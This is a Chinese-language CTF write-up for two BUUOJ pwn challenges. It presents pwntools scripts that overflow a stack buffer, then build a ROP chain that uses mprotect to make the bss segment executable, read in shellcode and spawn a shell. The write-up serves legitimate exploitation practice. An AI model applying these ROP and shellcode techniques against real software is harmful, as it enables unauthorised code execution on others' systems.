get_started_3dsctf_2016

直接调用if里面的函数，但是本地可以通，远程却打不通

from pwn import *
#r=remote('node3.buuoj.cn',25775)
r=process('./get_started_3dsctf_2016')

get_flag=0x80489b8
payload='a'*0x38+p32(get_flag)
r.sendline(payload)

r.interactive()

不过程序里面有mprotect函数，它可以修改程序内存里面的权限

int mprotect(const void *start, size_t len, int prot);
#start是要修改的起始的内存地址
#len是修改的长度
#prot修改的权限

可以利用mprotect函数修改bss段的权限，让其有执行权限，再用read写入shellcode，然后跳转到bss段执行来getshell

详情步骤参考这里

from pwn import *
context(arch='i386',os='linux')

r=remote('node3.buuoj.cn',25775)
elf=ELF('./get_started_3dsctf_2016')
mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
main_addr=elf.symbols['main']
ppp3_addr=0x080483b8

mpr_start=0x80eb000
mpr_len=0x1000
mpr_prot=7  #rxw=7

shellcode=asm(shellcraft.sh())

payload='a'*0x38
payload+=p32(mprotect_addr)+p32(ppp3_addr)+p32(mpr_start)+p32(mpr_len)+p32(mpr_prot)
payload+=p32(read_addr)+p32(ppp3_addr)+p32(0x0)+p32(mpr_start)+p32(len(shellcode))
payload+=p32(mpr_start)
r.sendline(payload)

r.sendline(shellcode)

r.interactive()

not_the_same_3dsctf_2016

一样的配方，参数不一样

from pwn import *
context(arch='i386',os='linux')

r=remote('node3.buuoj.cn',28393)
elf=ELF('./not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect_addr=elf.symbols['mprotect']

ppp3_ret=0x080483b8
mpr_start=0x080eb000
mpr_len=0x1000
mpr_prot=7

shellcode=asm(shellcraft.sh())

payload='a'*0x2d
payload+=p32(mprotect_addr)+p32(ppp3_ret)+p32(mpr_start)+p32(mpr_len)+p32(mpr_prot)
payload+=p32(read_addr)+p32(ppp3_ret)+p32(0x0)+p32(mpr_start)+p32(len(shellcode))
payload+=p32(mpr_start)
r.sendline(payload)

r.sendline(shellcode)

r.interactive()